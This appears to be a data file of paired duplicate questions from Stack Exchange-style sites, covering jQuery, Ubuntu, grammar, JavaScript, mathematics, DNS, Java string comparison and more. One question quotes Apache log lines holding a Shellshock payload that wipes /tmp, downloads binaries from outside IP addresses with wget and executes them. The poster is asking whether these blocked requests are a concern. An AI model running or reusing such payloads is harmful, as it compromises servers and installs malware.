body1
stringlengths
20
4.1k
body2
stringlengths
23
4.09k
HTML <div id='story'> <div class='item folder'>sky</div> <div class='item folder'>sea</div> </div> JS $(".item").on('click', function(){ $('.marked').removeClass('marked'); $(this).addClass('marked'); }); This works but now the the content of #story is replaced using ajax procedure: ... success: function(data) { $('#story').html(data); } And the new content is: <div class='item folder'>earth</div> <div class='item folder'>venus</div> And here on('click', function() doesn't work. Classes are not removed/added.
I have a bit of code where I am looping through all the select boxes on a page and binding a .hover event to them to do a bit of twiddling with their width on mouse on/off. This happens on page ready and works just fine. The problem I have is that any select boxes I add via Ajax or DOM after the initial loop won't have the event bound. I have found this plugin (), but before I add another 5k to my pages with a plugin, I want to see if anyone knows a way to do this, either with jQuery directly or by another option.
The human body is amazing. But there seems to be some evolutionary changes that appear to not make sense regarding redundancy. While not necessarily the primary reason for their existence, the human body has a great deal of redundancy. Two eyes. Two arms. Two legs Two ears Two nostrils Two lungs Two kidneys Two sets of teeth A very large liver that can work in part. Two brain hemispheres that can (to some degree) do the work of the other. An appendix that is not critical. But why do we not have two hearts? It would seem like a good idea to have two smaller hearts, together they work above optimally, but survival would be possible with one.
We have two eyes, but we don't have two hearts. Why do humans have two of some organs, but not all?
I'm trying to make a bootable usb stick. It says "open the dash and search for startup disk creator". What is the "dash"? and where is it?
This may be a stupid or trivial question, but I am new to Ubuntu, and have two unsolved problems (flashplayer doesn't play, and scanner doesn't work - in virgin install 13.04), so I started to search in documentation. In the 13.04 specific web site I was browsing the hardware section, and came across something like this: "Open Dash, and select Disk Utilities". So what is Dash, and where is Disk Utilities? The application finder could not find any of those. In terminal the "dash" command seems to invoke some sort of a shell.
I have an iPhone SE, running iOS 12. As part of a programming course I do, we made some apps. 4 in total. Whenever I try to open one of these apps I get this message: However when I go to settings and verify it tries to verify it as shown here: But then it goes back to say not verified. How can I fix this? EDIT: I am connected to WIFI and it works
When I get a third party app it says it needs to be verified before I can use it but when I go to settings to verify I tap verify and nothing happens. Is there something I can do so I don’t have to constantly reinstall my apps?
I told Lydia to wait near the bridge at whiterun so I could go kill some giants, in my way I encountered a dragon and when I go back to the bridge I can't seem to find her there? What do I do?
I had parked my follower at an inn with a bunch of valuable items that I didn't want to carry. I guess I have been out a bit too long as this message appears: Your follower tires of waiting and leaves. There have been other situations where my follower has mysteriously disappeared as well. How can I find my follower when they get up and leave or disappear into thin air?
“Those girls, who serve in the restaurant are very enthusiastic.” I’m from vietnam and my teacher said that relative clause which have demonstratives such as ‘this’,’that’,’these’,’those’ requires comma like the sentence above. Is that true ? “Those girls who serve in the restaurant are very enthusiastic.” Is this sentence whithout comma grammatically wrong? I would be grateful if someone can help me make it clear.
On Server Fault, we were discussing in chat. There are non-native speakers in the chat and somehow we got on the topic of grammar and proper use of commas. The sentence of interest: I have just got a new Ubuntu LAMP VPS server, which I am trying to configure. Some people thought that the comma was superfluous. Others did not. When is it appropriate for a comma to preceed the word which, and is the example sentence above correct? Also, before you vote to close this question as a dupe of , please consider the differences between the two questions and ignore the similarity of the titles. The OP's example sentence was restructured in that question instead of addressing the proper use of commas.
$('#lobSelect').change(function () { var selectedLob = $('#mainWrapper').find('select[name="lob-select"] option:selected').val(); console.log(selectedLob); //prints to the console }); console.log(selectedLob); //not available here In the code above i'm using the variable selectedLob to store the value selected from dropdown. how can i retrieve that value from outside the function? Also say this function is stored in a file1.js - how can i access this variable from file2.js in a different folder. Thanks
What is the scope of variables in javascript? Do they have the same scope inside as opposed to outside a function? Or does it even matter? Also, where are the variables stored if they are defined globally?
Batsmen 1 hit the ball and take one run. So batsman 2 run, reached his crease but the step out to collect his bat that he have dropped. In this he gets stumped. Is he out ?
When running between the wickets, a batsman may be run out if they haven't "made their ground" before a fielder throws the ball, or uses their hand holding the ball, to dislodge the bails. Effectively the batsman has to be behind the crease. However I recently watched a match where a batsman didn't have anything on the ground behind the crease when the wicket was put down, but they were given not out and then continued batting. What's the story behind this non-wicket? Was the umpire wrong or have the laws changed?
Let $f : [0, ∞) → \mathbb{R}$ be the solution of the ordinary differential equation $f'(x)=\frac{1}{x^2 +f(x)^2}$ satisfying $f(0) = 1.$ (You may assume that this solution exists, and is unique.) Prove that $f$ is bounded. I'm not sure where to start with this question, is there specific theorems that I need to take advantage of? Is it an unimportant fact that this is an ODE? Any tips would be very helpful!
I am given that $f:[0,\infty)\to \mathbb{R}$ is the unique solution to the ODE: $$f^{\prime}(x) = \frac{1}{x^{2} + (f(x))^{2}}$$ with $f(0)=1$ and I must prove that it is bounded. I have already proven (using the fact that the derivative is always positive and the Mean Value Theorem) that it is monotonically increasing so is bounded below, specifically by $f(0)=1$. However, I am struggling to figure out how to show it is bounded above. One thought I had was to rearrange the ode to get $(f(x))^2$ the subject, however this doesn't seem like a valid method for some reason, I may just be overthinking it though.
I'd like to vertically center this text next to the image to get a result like this: .container { position: absolute; width: 50%; } .span { vertical-align:middle; display: inline; } <p> <div class="container"> <img style="width: 100%" src="http://placehold.it/150x50"/> <span class="span">should be vertically centered next to image</span> </div> </p> How to edit my code to center this text next to the ABSOLUTE container? Any help would be very appreciated. Thanks.
Why won't vertical-align: middle work? And yet, vertical-align: top does work. span{ vertical-align: middle; } <div> <img src="https://via.placeholder.com/30" alt="small img" /> <span>Doesn't work.</span> </div>
I'm following this , when I use Add > Mesh > grid and then scale it, I get a grid with 9x9 squares: To make the maze, I want the grid to have more squares (15x15 for e.g) however, no mater how big I scale it it remains 9x9 squares. Is there a way to control the number of squares this grid has?
When you first add a cylinder, you have the option to change the number of vertices, etc, but once you do anything else in blender, it seems you no longer can edit those parameters. Is there a setting anywhere or an add-on that allows these parameters to be edited later on? If not, how easy would such an addon/feature be to create for anyone reading this?
I heard a person say " there is no room on the bus ". It for some reason sounded incorrect. However the most basic argument that we hear is that if it is a public transport, we use "on" but buses also have gates that get closed. So Can it be " There is no room in the bus" Advise please ?
This is sort of a follow up to my question . I was told a while ago that the reason why we use "on the bus" instead of "in the bus" is because back in the day buses were open, that is, they didn't have a roof. Is this story correct or is there another reason why the correct expression is "on the bus", in spite of the fact that when one gets on the bus, he is actually inside the bus?
I have searched for it and found that I have to run a link like this () which I found . I have to bookmark this link and open it whenever I want to render MathJax in chat. But the problem is whenever I open the bookmark, it opens in a new tab and keeps on loading forever. What should I do?
How do I make MathJax work on the mobile web chat without using Tampermonkey?
I have multiple 1-element lists that I wish to convert into 1 single list: Current lists: ['orange'] ['apple'] ['grape'] ['banana'] ['mango'] Wish to have an output like this: ['orannge', 'apple', 'grape', 'banana', 'mango'] My purpose is to write those array with 1x3 into a csv file Here is Code: import csv #import numpy as np f1 = open('out.csv') data = csv.reader(f1, delimiter=':') print (data) for row in data: #print(row) modules = print(row[2:]) #for row in module: result = [[0,0]] # iterate through rows for i in modules: # iterate through columns for j in modules[0]: result[j][i] = X[i][j] for r in result: print(r) #Try with zip/map #print(map(data,zip(*module)) #with open('test.csv', 'wb') as f: #writer = csv.writer(f) #for row in module: #writer.writerow(module) f1.close()
Is there a simple way to flatten a list of iterables with a list comprehension, or failing that, what would you all consider to be the best way to flatten a shallow list like this, balancing performance and readability? I tried to flatten such a list with a nested list comprehension, like this: [image for image in menuitem for menuitem in list_of_menuitems] But I get in trouble of the NameError variety there, because the name 'menuitem' is not defined. After googling and looking around on Stack Overflow, I got the desired results with a reduce statement: reduce(list.__add__, map(lambda x: list(x), list_of_menuitems)) But this method is fairly unreadable because I need that list(x) call there because x is a Django QuerySet object. Conclusion: Thanks to everyone who contributed to this question. Here is a summary of what I learned. I'm also making this a community wiki in case others want to add to or correct these observations. My original reduce statement is redundant and is better written this way: >>> reduce(list.__add__, (list(mi) for mi in list_of_menuitems)) This is the correct syntax for a nested list comprehension (Brilliant summary !): >>> [image for mi in list_of_menuitems for image in mi] But neither of these methods are as efficient as using itertools.chain: >>> from itertools import chain >>> list(chain(*list_of_menuitems)) And as @cdleary notes, it's probably better style to avoid * operator magic by using chain.from_iterable like so: >>> chain = itertools.chain.from_iterable([[1,2],[3],[5,89],[],[6]]) >>> print(list(chain)) >>> [1, 2, 3, 5, 89, 6]
The URL from Yahoo is not working when I try to retrieve quotes from a particular stock. There are several discussion about it, However, it seems nothing is shown regarding VBA macro Sub Get_Data() Dim URL As String Dim Ticker As String Dim http As New WinHttpRequest Dim sCotes As String Dim Lignes Dim Valeurs Dim i As Long Dim j As Long Dim sLigne As String Dim sValeur As String Ticker = Range("Ticker") URL = "https://query1.finance.yahoo.com/v7/finance/download/TECK?period1=1540456339&period2=1571992339&interval=1d&events=history&crumb=kjOZLFv6ch2" http.Send sCotes = http.ResponseText MsgBox sCotes Lignes = Split(sCotes, Chr(10)) For i = 1 To UBound(Lignes) 'until the end of the Lignes variable sLigne = Lignes(i) Valeurs = Split(sLigne, ",") For j = 0 To UBound(Valeurs) - 1 Select Case j Case 0 sValeur = DateSerial(CLng(Left(Valeurs(0), 4)), CLng(Mid(Valeurs(0), 6, 2)), CLng(Right(Valeurs(0), 2))) Case 5 sValeur = CLng(Valeurs(5)) Case Else sValeur = CDbl(Replace(Valeurs(j), ".", ",")) End Select Range("A1").Offset(i, j) = sValeur Application.StatusBar = Format(Cells(i, 1), "Short Date") Next Next Application.StatusBar = False End Sub Execution error at the step Http.send : "This method cannot be called until the Open method has been called"
What VBA code is required to perform an HTTP POST from an Excel spreadsheet?
I'm trying to prove that for all positive integers $a$, that $2^a = 2$. Obviously, I know this is false, but I was given an induction proof and I need to find the error. The base case is that for $a = 1$, it's true that $2^1 = 2$. For the induction step, we let $x$ be an arbitrary positive integer. The induction hypothesis is that $2^y = 2$ for all integers $y$ such that $1 \leq y \leq x$, with the same restriction on $x$ as mentioned. We need to prove that $2^{x + 1} = 2$. $2^{x+1} = \frac{2^x \cdot 2^x}{2^{x - 1}}$ $= \frac{2 \cdot 2}{2}$ by the induction hypothesis $= 2$ This completes strong induction, so $2^a = 2$ for all positive integers $a$.
Donald Knuth "The Art of Computer Programming" Section 1.2.1 has an exercise No.2, the solution to which I don't understand. Exercise: There must be something wrong with this proof. What is it? Theorem. Let $a$ be any positive number. For all positive integers $n$ we have $a^{n-1}=1$. Proof. If $n = 1, a^{n-1}=a^{1-1}=a^0=1$. And by induction, assuming that the theorem is true for $1, 2, ..., n$, we have $a^{(n+1)-1}=a^n=\frac{a^{n-1}\times a^{n-1}}{a^{(n-1)-1}}=\frac{1\times1}{1}=1$; so the theorem is true for $n+1$ as well. As far as I understand the proof by induction, the solution should be approximately following:$a^{1-1}=1$Assume that $a^{n-1}=1$;Therefore $a^{(n+1)-1}=1\times a$;So $a^{(n+1)-1}$ does not equal $a^{n-1}$ and does not equal $1$, unless $a=1$ The solution to exercise reads: The theorem has not been proved for $n=2$; in the second part of the proof, take $n=1$; we assume there that $a^{-1}=1$. If this condition is true (so that $a=1$), the theorem is indeed valid. I want to compare it to another, correct, proof by induction in the example from : Adding up Odd Numbers $1+3+5+...+(2n−1)=n^2$ Show it is true for $n=1$ $1=1^2$ is True Assume it is true for $n=k$ $1+3+5+...+(2k−1) = k^2$ is True (An assumption!) Now, prove it is true for $(k+1)$ $1 + 3 + 5 + ... + (2k−1) + (2(k+1)−1) = (k+1)^2$We know that $1 + 3 + 5 + ... + (2k−1) = k^2$ (the assumption above),so we can do a replacement for all but the last term:$k^2 + (2(k+1)−1) = (k+1)^2$Now expand all terms:$k^2 + 2k + 2 − 1 = k^2 + 2k+1$And simplify:$k^2 + 2k + 1 = k^2 + 2k + 1$They are the same! So it is true.So: $1 + 3 + 5 + ... + (2(k+1)−1) = (k+1)^2$ is True Returning to the first example, I didn't quite understand the meaning of the phrase The theorem has not been proved for $n=2$; In the second (correct) proof there is no proving that it holds for $n=2$, despite covering the same topic. And Knuth himself has the proof of the theorem $1+3+5+...+(2k−1) = k^2$ similar to the one above, where he too doesn't prove it for $k=2$. So what did he mean by this phrase? Does he mean that there already is an exception in the rule stated when we take arbitrary $n$, for example $n=2$, so therefore it wouldn't hold for all examples anyway? But taking arbitrary numbers and putting it into equation instead of $n$ doesn't seems to be an effective and systematic way to debunk such proofs. How would you explain what is wrong with the exercise?
Let $R$ be some integral domain and consider the following property: For all $a,x,y\in R$, if $a\mid xy$, then there exist $b\mid x$ and $c\mid y$ with $a=bc$. Question: Is there a 'simple' classification of integral domains with this property? Own work: Note that the property implies that irreducible elements are prime, so if $R$ satisfies the ascending chain condition on principal ideals, it must be a UFD. Since the property clearly holds in any UFD, the only 'interesting' $R$ are those that satisfy the property, but not the ascending chain condition on principal ideals. Perhaps one can prove that the property is equivalent with irreducible elements are prime, in which case it holds precisely when $R$ is a GCD domain. This would be the type of 'simple' classification I'm looking for.
In a , if $a|bc$, then $a$ can be written as $a = a_1a_2$ so that $a_1|b$ and $a_2|c$. Is this property of a commutative ring strictly weaker than the property of being a UFD? If so, does it have a name, or is it equivalent to some other well-known property?
I'm trying to list the size of JS files on a website by adding website URL using PHP language. But it can't read links that contain something like ../
I have a directory structure like the following; script.php inc/include1.php inc/include2.php objects/object1.php objects/object2.php soap/soap.php Now, I use those objects in both script.php and /soap/soap.php, I could move them, but I want the directory structure like that for a specific reason. When executing script.php the include path is inc/include.php and when executing /soap/soap.php it's ../inc, absolute paths work, /mnt/webdev/[project name]/inc/include1.php... But it's an ugly solution if I ever want to move the directory to a different location. So is there a way to use relative paths, or a way to programmatically generate the "/mnt/webdev/[project name]/"?
Prove the following theorem by direct proof. Theorem: For all sets $A, B,$ and $C$, if $A ∩ C ⊆ B ∩ C$ and $A ∪ C ⊆ B ∪ C,$ then $A ⊆ B$.
Can you verify my proof if it is right? Let $A$ and $B$ be sets. (a) Show that $A$ is a subset of $B$ if and only if for any set $C$, one has $A$ union $C$ is a subset of $B$ union $C$. (b) Show that $A$ is a subset of $B$ if and only if for any set $C$, one has $A$ intersect $C$ is a subset of $B$ intersect $C$. Edited Solution : (a) (=>) Given A is a subset of B, this implies A U B = B. Given a set C, A U B U C = B U C. Since A is a subset of B, this implies A U C is a subset of B U C. Solution 1 :(<=) Given A U C is a subset of B U C , For A U C , x is a member of A U C . For B U C, x is a member of B U C. Suppose x is a member of A but not a member of B, meaning A is not a subset of B. Therefore , A U C is not a subset of B U C. Hence, A must be a subset of B. Solution 2 :(<=) Given A U C is a subset of B U C, For A U C, x is a member of A U C and for B U C, x is a member of B U C. Suppose C is a disjoint set. Since A U C is a subset of B U C, it follows that A is a subset of B. (b) (=>) Since A is a subset of B , it follows that A U B = B. [A intersect C] is a subset of A and [B intersect C ] is a subset of B by definition of intersection. Let x be member of A and member of C. Since [ A intersect C ] is a subset of A, x must be in A. Let x be a member of B and member of C. Since [ B intersect C ] is a subset of B, x must be in B. Therefore, A intersect C is a subset of B intersect C. (<=) Since A intersect C is a subset of B intersect C, suppose we let Set C be a subset of B and a subset of A as well. C is a subset of A implies A intersect C is equals to C. C is a subset of B implies B intersect C is equals to C as well. Since A intersect C is equals to B intersect C, A is a subset of B.
I want to run the basename command on a certain awk field. echo "1 /this/is/a/path" | awk '{print $1" "system("/usr/bin/basename " $2)}' but the output always produces a 0 from the system command. How do I print the real output?
Here is my script (to find the files that contain a specified pattern): find . -type f \ -exec awk -v vawk="$1" '/'"$vawk"'/ {c++} c>0 { print ARGV[1]; exit 0 } END { if (! c) {exit 1}}' \{\} \; I would like to use my script with an argument §: MyScript.sh pattern My problem is that I don't manage to put the $1 variable in awk. When I try to debug my script bash -x MyScript.sh pattern Here is the output : + find . -type f -exec awk -v vawk=pattern '// {c++} c>0 {print ARGV[1] ; exit 0 } END { if (! c) {exit 1}}' '{}' ';' The $vawk variable seems to be empty. Any idea?
I am trying to implement S2S (Salesforce to salesforce) And I have written a code on Custom object called "ABC" to allow auto forwarding of records. After making the trigger active, I cannot manually create any records. Please help. trigger SendABCToConnection on ABC__c(after insert,after update) { PartnerNetworkConnection conn = [select Id, ConnectionStatus, ConnectionName from PartnerNetworkConnection where ConnectionStatus = 'Accepted' and ConnectionName = 'XYZ']; List<PartnerNetworkRecordConnection> recordConnectionToInsert = new List<PartnerNetworkRecordConnection> (); for (ABC__c acc : Trigger.new){ PartnerNetworkRecordConnection newrecord = new PartnerNetworkRecordConnection(); newrecord.ConnectionId = conn.Id; newrecord.LocalRecordId = acc.id; newrecord.SendClosedTasks = false; newrecord.SendOpenTasks = false; newrecord.SendEmails = false; recordConnectionToInsert.add(newrecord); } if (recordConnectionToInsert.size() > 0){ System.debug('>>> Sharing ' + recordConnectionToInsert.size() + ' records'); insert recordConnectionToInsert; } } The error I am getting is : Apex trigger SendABCToConnection caused an unexpected exception, contact your administrator: SendABCToConnection: execution of AfterInsert caused by: System.QueryException: List has more than 1 row for assignment to SObject: Trigger.SendABCToConnection: line 2, column 1
I am trying to write a VF page to list all the id and name columns from a custom object but found an error "List has more than 1 row" in the VF page. Can anyone tell me what have I done wrong? VF Page: <apex:page Controller="MP_controller" showHeader="false" sidebar="false"> <apex:pageBlock> <apex:pageBlockTable value="{! mp}" var="item"> <apex:column value="{! item.id}"/> <apex:column value="{! item.name}"/> </apex:pageBlockTable> </apex:pageBlock> </apex:page> Apex controller global with sharing class MP_controller { public Merchant_Profile__c mp{get;set;} public MP_controller(){ mp = [SELECT ID, name, Profile_account_name__c, Merchant_ID__c, Bank_Code__c, Country_Code__c, Currency_Code__c, Merchant_Level__c, Merchant_Type__c, MSO__c, Region__c, Retail_Products__c, Transaction_Mode__c, Created_Date__c, Date_Disabled__c, Date_Live__c, Merchant_Category_Code__c FROM Merchant_Profile__c WHERE Profile_Account_Name__c = '001O000000bQFnyIAG']; } }
Let $I \subseteq \mathbb R$ be an interval and $f:I \to \mathbb R$ increasing and convex. How can I show that $f$ is bounded from below by an affine function, i.e. there exist $a \in \mathbb R$ and $b \in \mathbb R_+$ such that $a+bx \leq f(x)$ for all $x \in I$? What similiar statement would we have for concave function?
A function $f : I \rightarrow \mathbb R$ on an interval $I$ is convex if $f((1-t)x+ty)\le (1-t)f(x)+tf(y), \forall x,y \in I, t \in [0,1]$ Assume now that $I$ is an open interval. Show that if $f$ is convex then for each $c \in I$ there exists $m \in \mathbb R$ such that $m(x − c) + f(c) \le f(x)$ for all $x \in I$ , and if in addition $f$ is differentiable at $c$ then $f'(c)$ is the unique $m$ that works. In general, must m be unique? (we have previously shown that convex functions are continuous) I think I'm missing the point of the question. Surely, by the mean value theorem we can find some $y\in (x,c)$ such that $f'(y)=\frac{f(x)-f(c)}{x-c}$ setting $m=f'(y)$ we get $m=\frac{f(x)-f(c)}{x-c}, m(x-c)+f(c)=f(x)$ such an $m$ fits the inequality we're asked to show. I also cannot see why $f'(c)$ would be the unique solution or why we would ever get a unique solution of the inequality at all for that matter. Clearly I'm misunderstanding the question, so if someone could point out where I would appreciate that. Thank you
Every wave is characterised by some periodically changing disturbance. For example, that entity is air pressure for sound waves and electric,magnetic fields for EM waves. What is that disturbance for matter waves?
If an electron is a wave, what is waving? So many answers on the internet say "the probability that a particle will be at a particular location"... so... the electron is a physical manifestation of probability? That doesn't sound right. This page seems to suggest that the spherical wave pair is what gives the electron the properties of a particle. I could be misinterpreting, but this answer makes more sense to me - if only I understood what was waving!
I am using the Dunn test (the package Dunn.test in R) as a post-hoc test to my Kruskal Wallis analysis. My alpha value is 0.05, so I would reject the Ho for p - values <= 0.05. When printing my results, R prints the note: alpha = 0.05 Reject Ho if p <= alpha/2 Does anybody happen to know why R advises me that I should reject Ho if the p-value is 0.025 even at a set alpha value of 0.05? (For clarity: why is R using this particular decision rule of alpha/2 instead of just alpha?) My guess would be that it has something to do with testing one- or two sided. I couldn't find if the default of Dunn.test and therewith the given results is for a one or two sided approach.
Firstly, this is my first post to Cross Validated, so apologies in advance if I have infringed any conventions. I am writing up a PhD thesis on aspects of biomedical research, and use R for my statistics. However, I always check some of the data against another package in case I have made a coding error. I have been running a Kruskall-Wallis test with three groups (sample sizes of 5, 8 and 9) and using Dunn's test for the post-hoc pairwise comparisons. The p-values I get for the pairwise comparisons (unadjusted for multiple comparisons) are exactly half what I get in SPSS and GraphPad for the same data. The Kruskal-Wallis p-value reported by the dunn.test package is exactly what I get running the Kruskal-Wallis test itself in R, or in SPSS and Graphpad. There is a warning after I run my code that the dunn.test package was written on a slightly later version of R, but that seems unlikely to be the cause of a factor of 2 variation. Has anyone else come across a similar discrepancy?
I need something to automatically stop my index maintenance job on Saturday night. How do I do that? How can I check automatically if my index maintenance job is still running and if it's running, stop it every Saturday night before 12 am? Right now I do it manually using: USE msdb GO EXEC dbo.sp_stop_job N'The name of the job' How can I automate stopping the job at a certain time ?
I’m looking for a single file that does these things in order. Declare a variable to hold a job name Run a query to check whether that job declared is currently running Set up an if loop If the job is running, execute the stored procedure that kills it. My question is to write a query that declare a variable to hold a job name and gives us result the job is still running or not if the job is running execute the stored proc to kill it. My manager was asking me to listing running jobs and suspended jobs and declare a variable to hold job name and setup an IF loop like if job is running run proc to kill it.
Circle center : Cx,Cy Circle radius : a Point from which we need to draw a tangent line : Px,Py I need the formula to find the two tangents (t1x, t1y) and (t2x,t2y) given all the above.
I am given the equation of a circle: $(x + 2)^2 + (y + 7)^2 = 25$. The radius is $5$. Center of the circle: $(-2, -7)$. Two lines tangent to this circle pass through point $(4, -3)$, which is outside of said circle. How would I go about finding one of the equations of the lines tangent to the circle? I haven't started calculus, so I ask for advice fitting for someone starting a topic like this.
Let $D_8=\{a^ib^j:i\in\{0,1\},j\in\{0,...,3\}\} $ be a dihedral group, where $$a=\begin{pmatrix} -1 &0 \\ 0 & 1 \end{pmatrix}\qquad\text{ and }\qquad b=\begin{pmatrix} cos\theta & -sin\theta \\ sin\theta & cos\theta \end{pmatrix},$$ with $\theta=\frac{2\pi}{4}$. Prove that $D_8$ is not a Hamiltonian group.
Let $H$ be the subgroup of the dihedral group $D_4$ generated by the elements $\left<I\ (\text{identity}),p^2\epsilon\ (\text{flip across the horizontal diagonal})\right>$. I have to tell whether or not this is a normal subgroup of the dihedral group $D_4$ (the regular polygon with 4 sides). I know that $H = \{I,p^2\epsilon\}$. After that I made the multyplicative tale of D_4 and I saw that that $xH = Hx, \forall x \in D_4$, therefor H is normal in $D_4$. But I'm not sure if this is the way it should be done. I think that there is another way which does not imply the multyplicative table.
In a regression, when you get negative coefficient which you know should be positive, why it is necessary to include possible omitted variable that is likely to have positive coefficient and negatively correlated with the variable already in the model? How will this change the sign of the variable? For example, if the dependent variable is car price, and the independent variable is fuel economy (with the wrong negative sign). Why it is advised to include perhaps curb weight which is negatively correlated with fuel economy and positively with car price?
In my logistic regression the sign of coefficients of a variable (location distance of an amenity) changes based on other variables (with time -ve, with travel distance +ve) in the model. When the location distance is the only variable in the model, it has +ve sign. Should the variable need to maintain the +ve sign no matter what other variables are added in the model? Does changing sign signify a multicollinearity issue? Some IVs are gaining significance while in a bivariate model, they didn't show significance and vice versa. Is it okay to add variables that don't have much significance (ex: travel distance has a significance of 0.33 individually, but 0.05 when added with other variables) but becomes significant in the model? thanks.
I have clients configured via GPO with the following settings enabled: Dynamic Update Primary DNS Suffix Register DNS records with connection-specific DNS suffix Register PTR Records: Register I also have two DHCP servers that are servicing the clients performing updates to the DNS records using a configured user (which is part of the DNSUpdateProxy security group). The following is currently occurring: 1) A records are updated by clients. ACLs look fine (the clients' computer objects have write access to their own records). 2) PTR records appear to be updated once by the configured DNSUpdateProxy user on the DHCP server(s). ACLs look fine (the clients' computer object has write access). 3) Client machines don't appear to be trying to update the PTR records (although I've not pcaped anything yet); I say this because there are no errors logged by Dnsapi after ipconfig /registerdns. So, what is going on here? If I enable scavenging, the PTR records will be deleted as their timestamps are all from way back when they were originally registered.
I've stumbled upon a strange behaviour with Windows machines, which seems to be fairly consistent between all Windows versions from Vista/2008 to 8.1/2012 R2; it doesn't happen instead when using Windows XP or Windows Server 2003. The problem is this: when the network adapter is configured for DHCP and the DHCP server doesn't register DNS records on behalf of its clients (because it can't, or because it's not configured to do so), then the forward A record gets registered, but the reverse PTR record doesn't. Some more details: Both the forward and the reverse DNS zones are AD-integrated and accept dynamic updates. All computers are joined to the domain. All computers use the correct internal DNS servers, both when configured statically and when getting their configuration from DHCP. "Register this connection's addresses in DNS" is enabled in the network adapters. Everything is fine when a computer has a static IP address; both the forward and the reverse records get automatically registered. When the same computer is configured for DHCP, the forward record is registered, but the reverse record isn't. This happens for all computers with an OS version >= 6.0, and it's definitely not related to a single machine. No amount of ipconfig /registerdns will change anything. No errors are logged anywhere. Why does this happen, and how can it be fixed? And no, configuring the DHCP server to perform DNS registration is not an option here.
I have a server with debian 7. I was checking the apache error log file and saw a few lines like this [Fri Mar 20 04:56:48 2015] [error] [client 222.66.95.253] client denied by server configuration: /home/username/www/, referer: () { :; }; /bin/bash -c "rm -rf /tmp/*;echo wget http://61.160.212.172:911/java -O /tmp/China.Z-bbce >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chmod 777 /tmp/China.Z-bbce >> /tmp/Run.sh;echo /tmp/China.Z-bbce >> /tmp/Run.sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh" [Mon Mar 16 16:58:15 2015] [error] [client 210.35.74.116] client denied by server configuration: /home/username/www/, referer: () { :; }; /bin/bash -c "rm -rf /tmp/*;echo wget http://61.180.31.43:9574/xudpASD -O /tmp/China.Z-wwyy\xb0 >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chmod 777 /tmp/China.Z-wwyy\xb0 >> /tmp/Run.sh;echo /tmp/China.Z-wwyy\xb0 >> /tmp/Run.sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh" I might be mistaken, but because of this part () { :; }; I think someone was trying to use the bug. But independent from whether this is shellshock or not, the question is - if I have lines in logs with message client denied by server configuration is this smth that I should worry about, or because the request was declined I can ignore it - being sure that no malicious scripts were downloaded/executed ?
How can I ensure my Bash installation is not vulnerable to the bug anymore after the updates?
I am looking for a formal proof for the following problem: You travel from point A to point B on a right triangle only along its legs. For a 3 4 5 right triangle you would travel a distance of seven. Now imagine going in horizontal and vertical lines to point B while remaining within the right triangle (basically steps going from point A to B). You would again travel a distance of seven: . My question is once you start decreasing the size of your vertical and horizontal lines until they are infinitely small, when do you travel the length of your hypotenuse (for this example five) instead of the length of the legs (for this example seven)? Does this also mean at some point you travel a distance of in between the length of both legs and hypotenuse?
What is wrong with this proof? Is $\pi=4?$
I wonder how skeletal animations in games work. I am writing my own graphics engine for fun, and I have come across several problems with animations. Here is how I do it right now: Load the mesh with animations Simulate every animation with the CPU and then send it to my GPU via a texture that I make from the final transformation matrices. In my shader I multiply every vertex by the transformation matrices that are tied to that vertex. This method works very good (until now). Now to the problem, if I have two animations that I want to use at the same time (running and shooting for example) then I have to do a "height check". It still works but I am getting serious doubts about it. If I want to render custom directions with this shoot animation (to where the camera is heading) I just don't know how I could fix this with my current method. How can I accomplish this?
Say I have a framework with characters that can run and walk and of course, stand still. Am I right in thinking that animation blending is the process of smoothly transitioning between these by generating dynamic animations at runtime? If so, what is the basic theory of how this works, and how would I implement it?
For example, if I want to talk about a team's chances of winning a competition, which of these would be correct? What do I say? United have the best chance of winning. United has the best chance of winning. The team is made up of many players so I think it should be plural; therefore, I think have sounds correct. But someone told me it should be has as the team is just one thing.
I'd say Microsoft have a way of bending the rules and I know that McLaren have won the championship. While this sounds strange, I believe it is correct English (sorry, I'm not native). But when it's a small company, would you still use it this way? Is a company always plural, or are small companies singular? I.e., would you say Bakery Johnson makes fine bread or Bakery Johnson make fine bread? Is it My book seller, Woody's, have moved or is it has moved?
Does anyone know what the fastest converging equation is for calculating e? I have found many different equations when I have been searching google, but I was wondering which ones can yield the most digits of e in the fewest terms. Thank you.
What are other faster methods of calculating $e^x$ up to any number of decimals other than using the Taylor series formula?
I wrote a class Storage, which should represent a Windows directory, by using the file class. It should have some Methods as the folderOnly() method, which returns a boolean, if there are just folder in my Storage. Extra information: There are just .mp3-files and other folder in the directory I am looking at. So here the code: import java.io.File; public class Storage { String location; public Storage(String location){ this.location = location; } public boolean folderOnly(){ boolean onlyFolder = true; File folder = new File(location); String [] folderArray = folder.list(); for(int i = 0; i < folderArray.length && onlyFolder ; i++){ if(folderArray[i].length() >= 4 && folderArray[i].substring(folderArray[i].length()-4) == ".mp3"){ onlyFolder = false; } } return onlyFolder; } } So if I create a "Storage" object for a directoy with a lot of .mp3-files (even if the number doesn't matter) it still returns true. So I checked for intermediate results: The String, that is created by the line folderArray[i].substring(folderArray[i].length()-4) , outprinted by System.out.println(String s) seems to be ".mp3". But if I compare it to ".mp3" , false is returned. What am I missing out on? Please don't blame me if there's a really simple solution, or my English is really hard to understand. I'm new to whole thing of English and programming. :)
I've been using the == operator in my program to compare all my strings so far. However, I ran into a bug, changed one of them into .equals() instead, and it fixed the bug. Is == bad? When should it and should it not be used? What's the difference?
Let $a,b,c $ be positive reals such that $abc=1$. Find the minimum value of $$Q = \frac{1}{a^3(b+c)} + \frac{1}{b^3(a+c)} + \frac{1}{c^3 (a+b)} $$ My attempt: Let $P = 2(ab + ba + bc)$. Then $PQ > \dfrac{1}{a^2} + \dfrac{1}{b^2} + \dfrac{1}{c^2} \geq 3 $, by AM-GM inequality. Also, $P = 2(ab + ba + bc) = 2(\dfrac{1}{c} + \dfrac{1}{b} + \dfrac{1}{a}) \geq 6 $, by AM-GM inequality. $P(1,1,1) = 6 $ and $Q(1,1,1) = \frac{3}{2}.$ Could anyone advise me how to show absolute minimum of $Q$ is $\frac{3}{2}$ ? Hints will suffice, thank you.
